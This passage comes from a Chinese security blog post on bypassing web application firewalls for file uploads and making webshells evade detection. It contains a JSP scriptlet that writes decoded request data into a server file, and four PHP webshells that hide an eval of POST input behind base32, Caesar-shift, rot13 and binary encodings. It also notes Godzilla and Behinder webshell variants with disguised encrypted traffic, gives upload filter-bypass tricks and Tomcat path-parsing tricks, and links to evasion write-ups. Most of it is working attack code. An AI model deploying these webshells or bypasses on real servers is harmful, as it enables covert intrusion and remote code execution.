class="string">&quot;D:/tomcat8/webapps/declare/static/upload/test.jsp&quot;</span>);</span><br><span class="line">        <span class="type">FileWriter</span> <span class="variable">fileOut</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileWriter</span>(file);</span><br><span class="line">        Base64.<span class="type">Decoder</span> <span class="variable">base64</span> <span class="operator">=</span> Base64.getDecoder();</span><br><span class="line">        <span class="type">byte</span>[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter(<span class="string">&quot;x&quot;</span>).getBytes(<span class="string">&quot;utf-8&quot;</span>))))));</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            fileOut.write(<span class="keyword">new</span> <span class="title class_">String</span>(str, <span class="string">&quot;utf-8&quot;</span>));</span><br><span class="line">            out.println(<span class="string">&quot;写入成功&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="keyword">if</span> (fileOut != <span class="literal">null</span>) &#123;</span><br><span class="line">                    fileOut.close();</span><br><span class="line">                &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                e.printStackTrace();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &lt;/hi:scriptlet&gt;</span><br><span class="line">&lt;/hi&gt;</span><br></pre></td></tr></table></figure>
</li>
<li><p><strong>自定义加解密bypass</strong></p>
<p>(只给了PHP的代码，需要别的语言自己改语法过去)</p>
<ol>
<li>base32 编码 payload</li>
</ol>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">KUYE</span></span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="variable">$DAXW</span> = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">public</span> <span class="variable">$LRXV</span> = <span class="literal">null</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line"><span class="variable language_">$this</span>-&gt;DAXW = <span class="string">&#x27;mv3gc3bierpvat2tkrnxuzlsn5ossoy&#x27;</span>;</span><br><span class="line"><span class="variable language_">$this</span>-&gt;LRXV = @<span class="title function_ invoke__">SYXJ</span>(<span class="variable">$this</span>-&gt;DAXW);</span><br><span class="line">@<span class="keyword">eval</span>(<span class="string">&quot;/*GnSpe=u*/&quot;</span>.<span class="variable language_">$this</span>-&gt;LRXV.<span class="string">&quot;/*GnSpe=u*/&quot;</span>);</span><br><span class="line">&#125;&#125;</span><br><span class="line"><span class="keyword">new</span> <span class="title function_ invoke__">KUYE</span>();</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">MNWK</span>(<span class="params"><span class="variable">$QSFX</span></span>)</span>&#123;</span><br><span class="line"><span class="variable">$BASE32_ALPHABET</span> = <span class="string">&#x27;abcdefghijklmnopqrstuvwxyz234567&#x27;</span>;</span><br><span class="line"><span class="variable">$NLHB</span> = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="variable">$v</span> = <span class="number">0</span>;</span><br><span class="line"><span class="variable">$vbits</span> = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>, <span class="variable">$j</span> = <span class="title function_ invoke__">strlen</span>(<span class="variable">$QSFX</span>); <span class="variable">$i</span> &lt; <span class="variable">$j</span>; <span class="variable">$i</span>++)&#123;</span><br><span class="line"><span class="variable">$v</span> &lt;&lt;= <span class="number">8</span>;</span><br><span class="line"><span class="variable">$v</span> += <span class="title function_ invoke__">ord</span>(<span class="variable">$QSFX</span>[<span class="variable">$i</span>]);</span><br><span class="line"><span class="variable">$vbits</span> += <span class="number">8</span>;</span><br><span class="line"><span class="keyword">while</span> (<span class="variable">$vbits</span> &gt;= <span class="number">5</span>) &#123;</span><br><span class="line"><span class="variable">$vbits</span> -= <span class="number">5</span>;</span><br><span class="line"><span class="variable">$NLHB</span> .= <span class="variable">$BASE32_ALPHABET</span>[<span class="variable">$v</span> &gt;&gt; <span class="variable">$vbits</span>];</span><br><span class="line"><span class="variable">$v</span> &amp;= ((<span class="number">1</span> &lt;&lt; <span class="variable">$vbits</span>) - <span class="number">1</span>);&#125;&#125;</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$vbits</span> &gt; <span class="number">0</span>)&#123;</span><br><span class="line"><span class="variable">$v</span> &lt;&lt;= (<span class="number">5</span> - <span class="variable">$vbits</span>);</span><br><span class="line"><span class="variable">$NLHB</span> .= <span class="variable">$BASE32_ALPHABET</span>[<span class="variable">$v</span>];&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="variable">$NLHB</span>;&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">SYXJ</span>(<span class="params"><span class="variable">$QSFX</span></span>)</span>&#123;</span><br><span class="line"><span class="variable">$NLHB</span> = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="variable">$v</span> = <span class="number">0</span>;</span><br><span class="line"><span class="variable">$vbits</span> = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>, <span class="variable">$j</span> = <span class="title function_ invoke__">strlen</span>(<span class="variable">$QSFX</span>); <span class="variable">$i</span> &lt; <span class="variable">$j</span>; <span class="variable">$i</span>++)&#123;</span><br><span class="line"><span class="variable">$v</span> &lt;&lt;= <span class="number">5</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$QSFX</span>[<span class="variable">$i</span>] &gt;= <span class="string">&#x27;a&#x27;</span> &amp;&amp; <span class="variable">$QSFX</span>[<span class="variable">$i</span>] &lt;= <span class="string">&#x27;z&#x27;</span>)&#123;</span><br><span class="line"><span class="variable">$v</span> += (<span class="title function_ invoke__">ord</span>(<span class="variable">$QSFX</span>[<span class="variable">$i</span>]) - <span class="number">97</span>);</span><br><span class="line">&#125; <span class="keyword">elseif</span> (<span class="variable">$QSFX</span>[<span class="variable">$i</span>] &gt;= <span class="string">&#x27;2&#x27;</span> &amp;&amp; <span class="variable">$QSFX</span>[<span class="variable">$i</span>] &lt;= <span class="string">&#x27;7&#x27;</span>) &#123;</span><br><span class="line"><span class="variable">$v</span> += (<span class="number">24</span> + <span class="variable">$QSFX</span>[<span class="variable">$i</span>]);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="keyword">exit</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$vbits</span> += <span class="number">5</span>;</span><br><span class="line"><span class="keyword">while</span> (<span class="variable">$vbits</span> &gt;= <span class="number">8</span>)&#123;</span><br><span class="line"><span class="variable">$vbits</span> -= <span class="number">8</span>;</span><br><span class="line"><span class="variable">$NLHB</span> .= <span class="title function_ invoke__">chr</span>(<span class="variable">$v</span> &gt;&gt; <span class="variable">$vbits</span>);</span><br><span class="line"><span class="variable">$v</span> &amp;= ((<span class="number">1</span> &lt;&lt; <span class="variable">$vbits</span>) - <span class="number">1</span>);&#125;&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="variable">$NLHB</span>;&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<ol start="2">
<li>ascii 码移位 payload(凯撒加密)</li>
</ol>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">FKPC</span></span>&#123;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line"><span class="variable language_">$this</span>-&gt;TQYV = <span class="string">&quot;bs^i%!\MLPQXwbolZ&amp;8&quot;</span>;</span><br><span class="line"><span class="variable language_">$this</span>-&gt;WZDM = @<span class="title function_ invoke__">HHGJ</span>(<span class="variable">$this</span>-&gt;TQYV);</span><br><span class="line">@<span class="keyword">eval</span>(<span class="string">&quot;/*#jkskjwjqo*/&quot;</span>.<span class="variable language_">$this</span>-&gt;WZDM.<span class="string">&quot;/*sj#ahajsj*/&quot;</span>);</span><br><span class="line">&#125;&#125;</span><br><span class="line"><span class="keyword">new</span> <span class="title function_ invoke__">FKPC</span>();</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">HHGJ</span>(<span class="params"><span class="variable">$UyGv</span></span>) </span>&#123;</span><br><span class="line"><span class="variable">$svfe</span> = [];</span><br><span class="line"><span class="variable">$mxAS</span> = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="variable">$f</span> = <span class="variable">$UyGv</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="variable">$i</span>=<span class="number">0</span>;<span class="variable">$i</span>&lt;<span class="title function_ invoke__">strlen</span>(<span class="variable">$f</span>);<span class="variable">$i</span>++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="variable">$svfe</span>[] = <span class="title function_ invoke__">chr</span>((<span class="title function_ invoke__">ord</span>(<span class="variable">$f</span>[<span class="variable">$i</span>])+<span class="number">3</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$mxAS</span> = <span class="title function_ invoke__">implode</span>(<span class="variable">$svfe</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="variable">$mxAS</span> ;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>3.Rot13 加密 payload</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">KUYE</span></span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="variable">$DAXW</span> = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">public</span> <span class="variable">$LRXV</span> = <span class="literal">null</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line"><span class="variable language_">$this</span>-&gt;DAXW = <span class="string">&#x27;riny($_CBFG[mreb]);&#x27;</span>;</span><br><span class="line"><span class="variable language_">$this</span>-&gt;LRXV = @<span class="title function_ invoke__">str_rot13</span>(<span class="variable">$this</span>-&gt;DAXW);</span><br><span class="line">@<span class="keyword">eval</span>(<span class="string">&quot;/*GnSpe=u*/&quot;</span>.<span class="variable language_">$this</span>-&gt;LRXV.<span class="string">&quot;/*GnSpe=u*/&quot;</span>);</span><br><span class="line">&#125;&#125;</span><br><span class="line"><span class="keyword">new</span> <span class="title function_ invoke__">KUYE</span>();</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>4.二进制转化 payload</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">KUYE</span></span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="variable">$DAXW</span> = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">public</span> <span class="variable">$LRXV</span> = <span class="literal">null</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line"><span class="variable language_">$this</span>-&gt;DAXW = <span class="string">&#x27;1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011</span></span><br><span class="line"><span class="string">1111010 1100101 1110010 1101111 1011101 101001 111011&#x27;</span>;</span><br><span class="line"><span class="variable language_">$this</span>-&gt;LRXV = @<span class="title function_ invoke__">BinToStr</span>(<span class="variable">$this</span>-&gt;DAXW);</span><br><span class="line">@<span class="keyword">eval</span>(<span class="string">&quot;/*GnSpe=u*/&quot;</span>.<span class="variable language_">$this</span>-&gt;LRXV.<span class="string">&quot;/*GnSpe=u*/&quot;</span>);</span><br><span class="line">&#125;&#125;</span><br><span class="line"><span class="keyword">new</span> <span class="title function_ invoke__">KUYE</span>();</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">BinToStr</span>(<span class="params"><span class="variable">$str</span></span>)</span>&#123;</span><br><span class="line"><span class="variable">$arr</span> = <span class="title function_ invoke__">explode</span>(<span class="string">&#x27; &#x27;</span>, <span class="variable">$str</span>);</span><br><span class="line"><span class="keyword">foreach</span>(<span class="variable">$arr</span> <span class="keyword">as</span> &amp;<span class="variable">$v</span>)&#123;</span><br><span class="line"><span class="variable">$v</span> = <span class="title function_ invoke__">pack</span>(<span class="string">&quot;H&quot;</span>.<span class="title function_ invoke__">strlen</span>(<span class="title function_ invoke__">base_convert</span>(<span class="variable">$v</span>, <span class="number">2</span>, <span class="number">16</span>)), <span class="title function_ invoke__">base_convert</span>(<span class="variable">$v</span>, <span class="number">2</span>, <span class="number">16</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="title function_ invoke__">join</span>(<span class="string">&#x27;&#x27;</span>, <span class="variable">$arr</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p><strong>Java部分(JSP,JSPX):</strong></p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">• 基于哥斯拉二次开发</span><br><span class="line">• 流量上采用HEX+128AES强加密</span><br><span class="line">• 伪装成json传输</span><br><span class="line">• 基于冰蝎二次修改</span><br><span class="line">• 加密方式AES&gt;DES</span><br><span class="line">• 多条件判断，防止被骑马</span><br><span class="line">• 修改默认握手方式为Cookie传递秘钥</span><br><span class="line">• 继承子类调用defineClass-&gt;反射调用defineClass</span><br><span class="line"></span><br></pre></td></tr></table></figure>


</li>
<li><p><strong>文件图片头检测绕过</strong></p>
<p>小tips：如果遇到图片文件头检测，<code>.user.ini</code>可以不加注释直接打上<code>GIF89a</code>然后换行，不会报错。<code>.htaccess</code>会报500错误，用<code>#</code>注释掉又无法绕过，不过<code>0x00</code>也是<code>.htaccess</code>的注释符，所以可以用<code>0x00</code>开头的图片文件头，例如ico <code>00 00 01 00 01 00 20 20</code>，这样既能绕过文件头检测，也不会报错</p>
</li>
<li><p><strong>Tomcat环境下的解析特性</strong></p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">/upload;test ==&gt; /upload</span><br><span class="line">/upload;test/ ==&gt; /upload/</span><br><span class="line">/upload;test;/ ==&gt; /upload/</span><br><span class="line">/upload;te;st/ ==&gt; /upload/</span><br><span class="line">/upload;te/st/ ==&gt; /upload/st/</span><br><span class="line">/upload;te/s;t/ ==&gt; /upload/s/</span><br><span class="line">/upload;te;s;t/ ==&gt; /upload/</span><br><span class="line">/upload;te;s/t/ ==&gt; /upload/t/</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">/upload/../ ==&gt; /</span><br><span class="line">/upload/./ ==&gt; /upload/</span><br><span class="line">/./upload/ ==&gt; /upload/</span><br><span class="line">/../upload/ ==&gt; /upload/</span><br><span class="line">\upload/ ==&gt; /upload/</span><br><span class="line">\\upload/ ==&gt; /upload/</span><br><span class="line"></span><br></pre></td></tr></table></figure></li>
</ul>
<h1 id="文件上传一图总结"><a href="#文件上传一图总结" class="headerlink" title="文件上传一图总结"></a>文件上传一图总结</h1><p><img src="https://s1.ax1x.com/2022/04/27/LqPuQA.png" alt="avatar"></p>
<h1 id="友链-随笔-学习来源"><a href="#友链-随笔-学习来源" class="headerlink" title="友链&#x2F;随笔&#x2F;学习来源"></a>友链&#x2F;随笔&#x2F;学习来源</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">1~11:  https://blog.csdn.net/weixin_44677409/article/details/92799366</span><br><span class="line">12~18: http://note.youdao.com/noteshare?id=cc0601ebf3d76ccf24b46d66bd8863e0&amp;sub=E8CE6DCFA0D546D2AEFFB0D58E6C41C9</span><br><span class="line">19~21: https://www.yuque.com/weiker/xiaodi/dnkcow#D70ka</span><br><span class="line">12用到的脚本: https://github.com/TonyD0g/PythonHacker/tree/master/Python%E9%9A%8F%E6%83%B3/Web/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0</span><br><span class="line"></span><br><span class="line">学习来源：</span><br><span class="line">1.网络</span><br><span class="line">2.记一次绕过waf的任意文件上传：https://xz.aliyun.com/t/11337#toc-2</span><br><span class="line"></span><br><span class="line">3.文件上传bypass安全狗 - 先知社区: https://xz.aliyun.com/t/9507</span><br><span class="line"></span><br><span class="line">4.php在流量层面绕waf的一些姿势-php文件上传处理流程简单分析: https://rce.moe/2022/06/24/php-upload-bypass-waf/</span><br><span class="line"></span><br><span class="line">1 bsrc和asrc的webshell挑战赛绕过技巧#</span><br><span class="line">2 Webshell免杀的思考与学习#</span><br><span class="line">3 webshell免杀的一点尝试—php5，php7(过d盾2.1.6.2-0105更新版)</span><br><span class="line">4 Webshell免杀研究#</span><br><span class="line">5 测试几种实战成功过的webshell的免杀方式#</span><br><span class="line">6 对于php免杀webshell的一些总结</span><br><span class="line">7 过D盾webshell分享</span><br><span class="line">8 浅谈JSP Webshell进阶免杀</span><br><span class="line">9 一些webshell免杀的技巧</span><br><span class="line">10 利用注释及自定义加密免杀Webshell</span><br><span class="line">11 webshell免杀-提升兼容性</span><br><span class="line">12 (建议详读)Java Webshell攻防下的黑魔法-yzddmr6 https://wx.zsxq.com/dweb2/index/topic_detail/184128242558222</span><br><span class="line"></span><br><span class="line">13 (建议详读)HIDS PHP WebShell Bypass研究与分析</span><br><span class="line">https://files.zsxq.com/FoTA6Y6XRyqYaRSWfi9uuFXQ5rvf?attname=HIDS%20PHP%20WebShell%20Bypass%E7%A0%94%E7%A9%B6%E4%B8%8E%E5%88%86%E6%9E%90.pdf&amp;e=1672631859&amp;token=kIxbL07-8jAj8w1n4s9zv64FuZZNEATmlU_Vm6zD:cQdtQM_GXpm4YcJ3qy_J-KXSs1k=</span><br><span class="line"></span><br><span class="line">14 (建议详读)(暂未收录)php免杀合集</span><br><span class="line">https://tttang.com/archive/1740/</span><br><span class="line"></span><br></pre></td></tr></table></figure>




  </div>
</article>



        
          <div id="footer-post-container">
  <div id="footer-post">

    <div id="nav-footer" style="display: none">
      <ul>
         
          <li><a href="/">首页</a></li>
         
          <li><a href="/about/">关于</a></li>
         
          <li><a href="/tags/">标签</a></li>
         
          <li><a href="/friends/">friends</a></li>
         
          <li><a href="/archives/">归档</a></li>
         
          <li><a href="https://github.com/TonyD0g">项目</a></li>
         
          <li><a href="/search/">搜索</a></li>
        
      </ul>
    </div>

    <div id="toc-footer" style="display: none">
      <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#后缀绕过"><span class="toc-number">1.</span> <span class="toc-text">后缀绕过</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#内容绕过-免杀"><span class="toc-number">2.</span> <span class="toc-text">内容绕过(免杀)</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#流量绕过"><span class="toc-number">3.</span> <span class="toc-text">流量绕过</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#tips"><span class="toc-number">4.</span> <span class="toc-text">tips</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#文件上传一图总结"><span class="toc-number">5.</span> <span class="toc-text">文件上传一图总结</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#友链-随笔-学习来源"><span class="toc-number">6.</span> <span class="toc-text">友链&#x2F;随笔&#x2F;学习来源</span></a></li></ol>
    </div>

    <div id="share-footer" style="display: none">
      <ul>
  <li><a class="icon" href="http://www.facebook.com/sharer.php?u=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/" target="_blank" rel="noopener"><i class="fab fa-facebook fa-lg" aria-hidden="true"></i></a></li>
  <li><a class="icon" href="https://twitter.com/share?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&text=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-twitter fa-lg" aria-hidden="true"></i></a></li>
  <li><a class="icon" href="http://www.linkedin.com/shareArticle?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&title=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-linkedin fa-lg" aria-hidden="true"></i></a></li>
  <li><a class="icon" href="https://pinterest.com/pin/create/bookmarklet/?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&is_video=false&description=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-pinterest fa-lg" aria-hidden="true"></i></a></li>
  <li><a class="icon" href="mailto:?subject=[WAF绕过]文件上传和Webshell免杀篇&body=Check out this article: https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/"><i class="fas fa-envelope fa-lg" aria-hidden="true"></i></a></li>
  <li><a class="icon" href="https://getpocket.com/save?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&title=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-get-pocket fa-lg" aria-hidden="true"></i></a></li>
  <li><a class="icon" href="http://reddit.com/submit?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&title=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-reddit fa-lg" aria-hidden="true"></i></a></li>
  <li><a class="icon" href="http://www.stumbleupon.com/submit?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&title=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-stumbleupon fa-lg" aria-hidden="true"></i></a></li>
  <li><a class="icon" href="http://digg.com/submit?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&title=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-digg fa-lg" aria-hidden="true"></i></a></li>
  <li><a class="icon" href="http://www.tumblr.com/share/link?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&name=[WAF绕过]文件上传和Webshell免杀篇&description=&lt;p&gt;加密文章，仅自用&lt;/p&gt;" target="_blank" rel="noopener"><i class="fab fa-tumblr fa-lg" aria-hidden="true"></i></a></li>
  <li><a class="icon" href="https://news.ycombinator.com/submitlink?u=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&t=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-hacker-news fa-lg" aria-hidden="true"></i></a></li>
</ul>

    </div>

    <div id="actions-footer">
        <a id="menu" class="icon" href="#" onclick="$('#nav-footer').toggle();return false;"><i class="fas fa-bars fa-lg" aria-hidden="true"></i> 菜单</a>
        <a id="toc" class="icon" href="#" onclick="$('#toc-footer').toggle();return false;"><i class="fas fa-list fa-lg" aria-hidden="true"></i> 目录</a>
        <a id="share" class="icon" href="#" onclick="$('#share-footer').toggle();return false;"><i class="fas fa-share-alt fa-lg" aria-hidden="true"></i> 分享</a>
        <a id="top" style="display:none" class="icon" href="#" onclick="$('html, body').animate({ scrollTop: 0 }, 'fast');"><i class="fas fa-chevron-up fa-lg" aria-hidden="true"></i> 返回顶部</a>
    </div>

  </div>
</div>

        
        <footer id="footer">
  <div class="footer-left">
    Copyright &copy;
    
    
    2016-2023
    TonyD0g
  </div>
  <div class="footer-right">
    <nav>
      <ul>
         
          <li><a href="/">首页</a></li>
         
          <li><a href="/about/">关于</a></li>
         
          <li><a href="/tags/">标签</a></li>
         
          <li><a href="/friends/">friends</a></li>
         
          <li><a href="/archives/">归档</a></li>
         
          <li><a href="https://github.com/TonyD0g">项目</a></li>
         
          <li><a href="/search/">搜索</a></li>
        
      </ul>
    </nav>
  </div>
</footer>

    </div>
    <!-- styles -->

<link rel="stylesheet" href="/lib/font-awesome/css/all.min.css">


<link rel="stylesheet" href="/lib/justified-gallery/css/justifiedGallery.min.css">


    <!-- jquery -->

<script src="/lib/jquery/jquery.min.js"></script>


<script src="/lib/justified-gallery/js/jquery.justifiedGallery.min.js"></script>

<!-- clipboard -->

  
<script src="/lib/clipboard/clipboard.min.js"></script>

  <script type="text/javascript">
  $(function() {
    // copy-btn HTML
    var btn = "<span class=\"btn-copy tooltipped tooltipped-sw\" aria-label=\"复制到粘贴板!\">";
    btn += '<i class="far fa-clone"></i>';
    btn += '</span>'; 
    // mount it!
